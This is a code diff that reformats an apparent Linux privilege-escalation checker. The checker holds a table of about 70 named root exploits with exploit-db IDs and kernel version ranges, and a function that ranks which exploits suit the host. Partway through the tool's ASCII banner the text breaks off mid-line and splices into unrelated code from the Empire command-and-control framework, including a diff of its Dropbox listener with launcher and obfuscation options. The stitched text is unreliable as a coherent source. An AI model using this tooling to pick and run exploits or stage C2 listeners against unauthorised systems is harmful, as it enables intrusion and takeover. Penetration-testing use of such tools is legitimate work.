- "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit": {"minver": "0", "maxver": "99", "exploitdb": "5720",
- "lang": "python",
- "keywords": {"loc": ["os"], "val": "debian"}},
- "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit": {"minver": "0", "maxver": "2.6.22",
- "exploitdb": "6851", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "< 2.6.29 exit_notify() Local Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.29",
- "exploitdb": "8369", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6 UDEV Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8478",
- "lang": "c",
- "keywords": {"loc": ["proc", "pkg"], "val": "udev"}},
- "2.6 UDEV < 141 Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99", "exploitdb": "8572",
- "lang": "c",
- "keywords": {"loc": ["proc", "pkg"], "val": "udev"}},
- "2.6.x ptrace_attach Local Privilege Escalation Exploit": {"minver": "2.6", "maxver": "2.6.99",
- "exploitdb": "8673", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6.29 ptrace_attach() Local Root Race Condition Exploit": {"minver": "2.6.29", "maxver": "2.6.29",
- "exploitdb": "8678", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit": {"minver": "0", "maxver": "2.6.28.3",
- "exploitdb": "9083", "lang": "c",
- "keywords": {"loc": ["kernel"],
- "val": "kernel"}},
- "Test Kernel Local Root Exploit 0day": {"minver": "2.6.18", "maxver": "2.6.30", "exploitdb": "9191",
- "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)": {"minver": "2.6.9", "maxver": "2.6.30",
- "exploitdb": "9208", "lang": "c",
- "keywords": {"loc": ["pkg"],
- "val": "pulse"}},
- "2.x sock_sendpage() Local Ring0 Root Exploit": {"minver": "2", "maxver": "2.99", "exploitdb": "9435",
- "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.x sock_sendpage() Local Root Exploit 2": {"minver": "2", "maxver": "2.99", "exploitdb": "9436", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)": {"minver": "2.4", "maxver": "2.6.99",
- "exploitdb": "9479", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit": {"minver": "2.6", "maxver": "2.6.19",
- "exploitdb": "9542", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9545",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)": {"minver": "0", "maxver": "2.6.19", "exploitdb": "9574",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "< 2.6.19 udp_sendmsg Local Root Exploit": {"minver": "0", "maxver": "2.6.19", "exploitdb": "9575", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4/2.6 sock_sendpage() Local Root Exploit [2]": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9598",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4/2.6 sock_sendpage() Local Root Exploit [3]": {"minver": "2.4", "maxver": "2.6.99", "exploitdb": "9641",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation": {"minver": "2.4.1", "maxver": "2.6.32",
- "exploitdb": "9844", "lang": "python",
- "keywords": {"loc": ["kernel"],
- "val": "kernel"}},
- "'pipe.c' Local Privilege Escalation Vulnerability": {"minver": "2.4.1", "maxver": "2.6.32",
- "exploitdb": "10018", "lang": "sh",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6.18-20 2009 Local Root Exploit": {"minver": "2.6.18", "maxver": "2.6.20", "exploitdb": "10613", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "Apache Spamassassin Milter Plugin Remote Root Command Execution": {"minver": "0", "maxver": "99",
- "exploitdb": "11662", "lang": "sh",
- "keywords": {"loc": ["proc"],
- "val": "spamass-milter"}},
- "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation": {"minver": "0", "maxver": "2.6.34", "exploitdb": "12130",
- "lang": "python",
- "keywords": {"loc": ["mnt"], "val": "reiser"}},
- "Ubuntu PAM MOTD local root": {"minver": "7", "maxver": "10.04", "exploitdb": "14339", "lang": "sh",
- "keywords": {"loc": ["os"], "val": "ubuntu"}},
- "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.36", "exploitdb": "14814",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "Kernel ia32syscall Emulation Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "15023",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "Linux RDS Protocol Local Privilege Escalation": {"minver": "0", "maxver": "2.6.36", "exploitdb": "15285",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "<= 2.6.37 Local Privilege Escalation": {"minver": "0", "maxver": "2.6.37", "exploitdb": "15704", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "< 2.6.37-rc2 ACPI custom_method Privilege Escalation": {"minver": "0", "maxver": "2.6.37",
- "exploitdb": "15774", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "CAP_SYS_ADMIN to root Exploit": {"minver": "0", "maxver": "99", "exploitdb": "15916", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)": {"minver": "0", "maxver": "99", "exploitdb": "15944",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "< 2.6.36.2 Econet Privilege Escalation Exploit": {"minver": "0", "maxver": "2.6.36.2", "exploitdb": "17787",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "Sendpage Local Privilege Escalation": {"minver": "0", "maxver": "99", "exploitdb": "19933", "lang": "ruby",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability": {"minver": "2.4.18",
- "maxver": "2.4.19",
- "exploitdb": "21598", "lang": "c",
- "keywords": {"loc": ["kernel"],
- "val": "kernel"}},
- "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)": {"minver": "2.2", "maxver": "2.4.99",
- "exploitdb": "22362", "lang": "c",
- "keywords": {"loc": ["kernel"],
- "val": "kernel"}},
- "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)": {"minver": "2.2", "maxver": "2.4.99",
- "exploitdb": "22363", "lang": "c",
- "keywords": {"loc": ["kernel"],
- "val": "kernel"}},
- "Samba 2.2.8 Share Local Privilege Elevation Vulnerability": {"minver": "2.2.8", "maxver": "2.2.8",
- "exploitdb": "23674", "lang": "c",
- "keywords": {"loc": ["proc", "pkg"],
- "val": "samba"}},
- "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability": {"minver": "0", "maxver": "99",
- "exploitdb": "25307",
- "lang": "c",
- "keywords": {"loc": ["kernel"],
- "val": "kernel"}},
- "open-time Capability file_ns_capable() Privilege Escalation": {"minver": "0", "maxver": "99",
- "exploitdb": "25450", "lang": "c",
- "keywords": {"loc": ["kernel"],
- "val": "kernel"}},
+ "2.2.x-2.4.x ptrace kmod local exploit": {
+ "minver": "2.2",
+ "maxver": "2.4.99",
+ "exploitdb": "3",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "< 2.4.20 Module Loader Local Root Exploit": {
+ "minver": "0",
+ "maxver": "2.4.20",
+ "exploitdb": "12",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4.22 "
+ "do_brk()"
+ " local Root Exploit (PoC)": {
+ "minver": "2.4.22",
+ "maxver": "2.4.22",
+ "exploitdb": "129",
+ "lang": "asm",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "<= 2.4.22 (do_brk) Local Root Exploit (working)": {
+ "minver": "0",
+ "maxver": "2.4.22",
+ "exploitdb": "131",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4.x mremap() bound checking Root Exploit": {
+ "minver": "2.4",
+ "maxver": "2.4.99",
+ "exploitdb": "145",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "<= 2.4.29-rc2 uselib() Privilege Elevation": {
+ "minver": "0",
+ "maxver": "2.4.29",
+ "exploitdb": "744",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4 uselib() Privilege Elevation Exploit": {
+ "minver": "2.4",
+ "maxver": "2.4",
+ "exploitdb": "778",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit": {
+ "minver": "2.4",
+ "maxver": "2.6.99",
+ "exploitdb": "895",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)": {
+ "minver": "2.4",
+ "maxver": "2.6.99",
+ "exploitdb": "926",
+ "lang": "c",
+ "keywords": {"loc": ["proc", "pkg"], "val": "bluez"},
+ },
+ "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)": {
+ "minver": "0",
+ "maxver": "2.6.11",
+ "exploitdb": "1397",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "1518",
+ "lang": "c",
+ "keywords": {"loc": ["proc", "pkg"], "val": "mysql"},
+ },
+ "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit": {
+ "minver": "2.6.13",
+ "maxver": "2.6.17.4",
+ "exploitdb": "2004",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)": {
+ "minver": "2.6.13",
+ "maxver": "2.6.17.4",
+ "exploitdb": "2005",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)": {
+ "minver": "2.6.13",
+ "maxver": "2.6.17.4",
+ "exploitdb": "2006",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)": {
+ "minver": "2.6.13",
+ "maxver": "2.6.17.4",
+ "exploitdb": "2011",
+ "lang": "sh",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "<= 2.6.17.4 (proc) Local Root Exploit": {
+ "minver": "0",
+ "maxver": "2.6.17.4",
+ "exploitdb": "2013",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)": {
+ "minver": "2.6.13",
+ "maxver": "2.6.17.4",
+ "exploitdb": "2031",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit": {
+ "minver": "4.10",
+ "maxver": "7.04",
+ "exploitdb": "3384",
+ "lang": "c",
+ "keywords": {"loc": ["os"], "val": "debian"},
+ },
+ "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit": {
+ "minver": "2.4",
+ "maxver": "2.6",
+ "exploitdb": "4460",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit": {
+ "minver": "0",
+ "maxver": "2.6.11.5",
+ "exploitdb": "4756",
+ "lang": "c",
+ "keywords": {"loc": ["proc", "pkg"], "val": "bluetooth"},
+ },
+ "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit": {
+ "minver": "2.6.17",
+ "maxver": "2.6.24.1",
+ "exploitdb": "5092",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6.23 - 2.6.24 vmsplice Local Root Exploit": {
+ "minver": "2.6.23",
+ "maxver": "2.6.24",
+ "exploitdb": "5093",
+ "lang": "c",
+ "keywords": {"loc": ["os"], "val": "debian"},
+ },
+ "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "5720",
+ "lang": "python",
+ "keywords": {"loc": ["os"], "val": "debian"},
+ },
+ "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit": {
+ "minver": "0",
+ "maxver": "2.6.22",
+ "exploitdb": "6851",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "< 2.6.29 exit_notify() Local Privilege Escalation Exploit": {
+ "minver": "0",
+ "maxver": "2.6.29",
+ "exploitdb": "8369",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6 UDEV Local Privilege Escalation Exploit": {
+ "minver": "2.6",
+ "maxver": "2.6.99",
+ "exploitdb": "8478",
+ "lang": "c",
+ "keywords": {"loc": ["proc", "pkg"], "val": "udev"},
+ },
+ "2.6 UDEV < 141 Local Privilege Escalation Exploit": {
+ "minver": "2.6",
+ "maxver": "2.6.99",
+ "exploitdb": "8572",
+ "lang": "c",
+ "keywords": {"loc": ["proc", "pkg"], "val": "udev"},
+ },
+ "2.6.x ptrace_attach Local Privilege Escalation Exploit": {
+ "minver": "2.6",
+ "maxver": "2.6.99",
+ "exploitdb": "8673",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6.29 ptrace_attach() Local Root Race Condition Exploit": {
+ "minver": "2.6.29",
+ "maxver": "2.6.29",
+ "exploitdb": "8678",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit": {
+ "minver": "0",
+ "maxver": "2.6.28.3",
+ "exploitdb": "9083",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "Test Kernel Local Root Exploit 0day": {
+ "minver": "2.6.18",
+ "maxver": "2.6.30",
+ "exploitdb": "9191",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)": {
+ "minver": "2.6.9",
+ "maxver": "2.6.30",
+ "exploitdb": "9208",
+ "lang": "c",
+ "keywords": {"loc": ["pkg"], "val": "pulse"},
+ },
+ "2.x sock_sendpage() Local Ring0 Root Exploit": {
+ "minver": "2",
+ "maxver": "2.99",
+ "exploitdb": "9435",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.x sock_sendpage() Local Root Exploit 2": {
+ "minver": "2",
+ "maxver": "2.99",
+ "exploitdb": "9436",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)": {
+ "minver": "2.4",
+ "maxver": "2.6.99",
+ "exploitdb": "9479",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit": {
+ "minver": "2.6",
+ "maxver": "2.6.19",
+ "exploitdb": "9542",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)": {
+ "minver": "2.4",
+ "maxver": "2.6.99",
+ "exploitdb": "9545",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)": {
+ "minver": "0",
+ "maxver": "2.6.19",
+ "exploitdb": "9574",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "< 2.6.19 udp_sendmsg Local Root Exploit": {
+ "minver": "0",
+ "maxver": "2.6.19",
+ "exploitdb": "9575",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4/2.6 sock_sendpage() Local Root Exploit [2]": {
+ "minver": "2.4",
+ "maxver": "2.6.99",
+ "exploitdb": "9598",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4/2.6 sock_sendpage() Local Root Exploit [3]": {
+ "minver": "2.4",
+ "maxver": "2.6.99",
+ "exploitdb": "9641",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation": {
+ "minver": "2.4.1",
+ "maxver": "2.6.32",
+ "exploitdb": "9844",
+ "lang": "python",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "'pipe.c' Local Privilege Escalation Vulnerability": {
+ "minver": "2.4.1",
+ "maxver": "2.6.32",
+ "exploitdb": "10018",
+ "lang": "sh",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.6.18-20 2009 Local Root Exploit": {
+ "minver": "2.6.18",
+ "maxver": "2.6.20",
+ "exploitdb": "10613",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "Apache Spamassassin Milter Plugin Remote Root Command Execution": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "11662",
+ "lang": "sh",
+ "keywords": {"loc": ["proc"], "val": "spamass-milter"},
+ },
+ "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation": {
+ "minver": "0",
+ "maxver": "2.6.34",
+ "exploitdb": "12130",
+ "lang": "python",
+ "keywords": {"loc": ["mnt"], "val": "reiser"},
+ },
+ "Ubuntu PAM MOTD local root": {
+ "minver": "7",
+ "maxver": "10.04",
+ "exploitdb": "14339",
+ "lang": "sh",
+ "keywords": {"loc": ["os"], "val": "ubuntu"},
+ },
+ "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit": {
+ "minver": "0",
+ "maxver": "2.6.36",
+ "exploitdb": "14814",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "Kernel ia32syscall Emulation Privilege Escalation": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "15023",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "Linux RDS Protocol Local Privilege Escalation": {
+ "minver": "0",
+ "maxver": "2.6.36",
+ "exploitdb": "15285",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "<= 2.6.37 Local Privilege Escalation": {
+ "minver": "0",
+ "maxver": "2.6.37",
+ "exploitdb": "15704",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "< 2.6.37-rc2 ACPI custom_method Privilege Escalation": {
+ "minver": "0",
+ "maxver": "2.6.37",
+ "exploitdb": "15774",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "CAP_SYS_ADMIN to root Exploit": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "15916",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "15944",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "< 2.6.36.2 Econet Privilege Escalation Exploit": {
+ "minver": "0",
+ "maxver": "2.6.36.2",
+ "exploitdb": "17787",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "Sendpage Local Privilege Escalation": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "19933",
+ "lang": "ruby",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability": {
+ "minver": "2.4.18",
+ "maxver": "2.4.19",
+ "exploitdb": "21598",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)": {
+ "minver": "2.2",
+ "maxver": "2.4.99",
+ "exploitdb": "22362",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)": {
+ "minver": "2.2",
+ "maxver": "2.4.99",
+ "exploitdb": "22363",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "Samba 2.2.8 Share Local Privilege Elevation Vulnerability": {
+ "minver": "2.2.8",
+ "maxver": "2.2.8",
+ "exploitdb": "23674",
+ "lang": "c",
+ "keywords": {"loc": ["proc", "pkg"], "val": "samba"},
+ },
+ "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "25307",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
+ "open-time Capability file_ns_capable() Privilege Escalation": {
+ "minver": "0",
+ "maxver": "99",
+ "exploitdb": "25450",
+ "lang": "c",
+ "keywords": {"loc": ["kernel"], "val": "kernel"},
+ },
}
# variable declaration
@@ -671,42 +1064,61 @@ def find_likely_exploits(sysinfo, devtools, pkgsandprocs, driveinfo):
for sploit in sploits:
lang = 0 # use to rank applicability of sploits
keyword = sploits[sploit]["keywords"]["val"]
- sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit][
- "exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"]
+ sploitout = (
+ sploit
+ + " || "
+ + "http://www.exploit-db.com/exploits/"
+ + sploits[sploit]["exploitdb"]
+ + " || "
+ + "Language="
+ + sploits[sploit]["lang"]
+ )
# first check for kernell applicability
- if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]):
+ if (version >= sploits[sploit]["minver"]) and (
+ version <= sploits[sploit]["maxver"]
+ ):
# next check language applicability
- if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))):
+ if (sploits[sploit]["lang"] == "c") and (
+ ("gcc" in str(langs)) or ("cc" in str(langs))
+ ):
lang = 1 # language found, increase applicability score
elif sploits[sploit]["lang"] == "sh":
lang = 1 # language found, increase applicability score
elif sploits[sploit]["lang"] in str(langs):
lang = 1 # language found, increase applicability score
if lang == 0:
- sploitout = sploitout + "**" # added mark if language not detected on system
+ sploitout = (
+ sploitout + "**"
+ ) # added mark if language not detected on system
# next check keyword matches to determine if some sploits have a higher probability of success
for loc in sploits[sploit]["keywords"]["loc"]:
if loc == "proc":
for proc in procs:
if keyword in proc:
highprob.append(
- sploitout) # if sploit is associated with a running process consider it a higher probability/applicability
+ sploitout
+ ) # if sploit is associated with a running process consider it a higher probability/applicability
break
elif loc == "os":
if (keyword in os) or (keyword in kernel):
highprob.append(
- sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability
+ sploitout
+ ) # if sploit is specifically applicable to this OS consider it a higher probability/applicability
break
elif loc == "mnt":
if keyword in mount:
highprob.append(
- sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability
+ sploitout
+ ) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability
break
else:
avgprob.append(
- sploitout) # otherwise, consider average probability/applicability based only on kernel version
+ sploitout
+ ) # otherwise, consider average probability/applicability based only on kernel version
- print(" Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!")
+ print(
+ " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!"
+ )
print()
print()
@@ -715,10 +1127,13 @@ def find_likely_exploits(sysinfo, devtools, pkgsandprocs, driveinfo):
print(" - " + exploit)
print()
- print(" The following exploits are applicable to this kernel version and should be investigated as well")
+ print(
+ " The following exploits are applicable to this kernel version and should be investigated as well"
+ )
for exploit in avgprob:
print(" - " + exploit)
+
def run_check():
try:
@@ -726,10 +1141,30 @@ def run_check():
import sys
# Parse out all of the command line arguments
- parser = argparse.ArgumentParser(description='Try to gather system information and find likely exploits')
- parser.add_argument('-s', '--searches', help='Skip time consumming or resource intensive searches', required=False, action='store_true')
- parser.add_argument('-w', '--write', help='Wether to write a log file, can be used with -0 to specify name/location ', required=False, action='store_true')
- parser.add_argument('-o', '--outfile', help='The file to write results (needs to be writable for current user)', required=False, default='linuxprivchecker.log')
+ parser = argparse.ArgumentParser(
+ description="Try to gather system information and find likely exploits"
+ )
+ parser.add_argument(
+ "-s",
+ "--searches",
+ help="Skip time consumming or resource intensive searches",
+ required=False,
+ action="store_true",
+ )
+ parser.add_argument(
+ "-w",
+ "--write",
+ help="Wether to write a log file, can be used with -0 to specify name/location ",
+ required=False,
+ action="store_true",
+ )
+ parser.add_argument(
+ "-o",
+ "--outfile",
+ help="The file to write results (needs to be writable for current user)",
+ required=False,
+ default="linuxprivchecker.log",
+ )
args = parser.parse_args()
if args.searches:
@@ -745,28 +1180,31 @@ def run_check():
class Logger(object):
def __init__(self):
self.terminal = sys.stdout
- self.log = open(args.outfile, 'a')
+ self.log = open(args.outfile, "a")
def write(self, message):
self.terminal.write(message)
self.log.write(message)
+
sys.stdout = Logger()
except ImportError:
- print('Arguments could not be processed, defaulting to print everything')
+ print("Arguments could not be processed, defaulting to print everything")
processsearches = True
# title / formatting
bigline = "======================================================================================="
print(bigline)
- print("""
+ print(
+ """
__ _ ____ _ ________ __
/ / (_)___ __ ___ __/ __ \_____(_) __/ ____/ /_ ___ _____/ /_____ _____
/ / / / __ \/ / / / |/_/ /_/ / ___/ / | / / / / __ \/ _ \/ ___/ //_/ _ \/ ___/
/ /___/ / / / / /_/ /> ]"):
- attr.append("33")
- return "\x1b[%sm%s\x1b[0m" % (";".join(attr), string)
- else:
- return string
-
-
-# When Empire starts up for the first time, it will create the database and create
-# these default records.
-if len(Session().query(models.User).all()) == 0:
- print(color("[*] Setting up database."))
- print(color("[*] Adding default user."))
- Session().add(get_default_user())
- Session().commit()
- Session.remove()
-
-if len(Session().query(models.Config).all()) == 0:
- print(color("[*] Adding database config."))
- Session().add(get_default_config())
- Session().commit()
- Session.remove()
-
-if len(Session().query(models.Keyword).all()) == 0:
- print(color("[*] Adding default keyword obfuscation functions."))
- functions = get_default_keyword_obfuscation()
-
- for function in functions:
- Session().add(function)
- Session().commit()
- Session.remove()
diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py
index afcd16737..3eec50d80 100755
--- a/empire/server/listeners/dbx.py
+++ b/empire/server/listeners/dbx.py
@@ -1,32 +1,42 @@
-from __future__ import print_function
-
import base64
import copy
-import json
+import logging
import os
import time
from builtins import object, str
from textwrap import dedent
-from typing import List
+from typing import List, Optional, Tuple
import dropbox
-from pydispatch import dispatcher
from empire.server.common import encryption, helpers, templating
-from empire.server.database import models
-from empire.server.database.base import Session
-from empire.server.utils import data_util, listener_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils import data_util, listener_util, log_util
+from empire.server.utils.module_util import handle_validate_message
+LOG_NAME_PREFIX = __name__
+log = logging.getLogger(__name__)
-class Listener(object):
- def __init__(self, mainMenu, params=[]):
+class Listener(object):
+ def __init__(self, mainMenu: MainMenu, params=[]):
self.info = {
"Name": "Dropbox",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": ("Starts a Dropbox listener."),
"Category": ("third_party"),
"Comments": [],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
# any options needed by the stager, settable during runtime
@@ -126,13 +136,15 @@ def __init__(self, mainMenu, params=[]):
data_util.get_config("staging_key")[0]
)
+ self.instance_log = log
+
def default_response(self):
"""
Returns a default HTTP server page.
"""
return ""
- def validate_options(self):
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
"""
Validate all options for this listener.
"""
@@ -146,16 +158,15 @@ def validate_options(self):
if self.options[key]["Required"] and (
str(self.options[key]["Value"]).strip() == ""
):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return False
+ handle_validate_message(f'[!] Option "{key}" is required.')
- return True
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -171,42 +182,29 @@ def generate_launcher(
bypasses = [] if bypasses is None else bypasses
if not language:
- print(
- helpers.color(
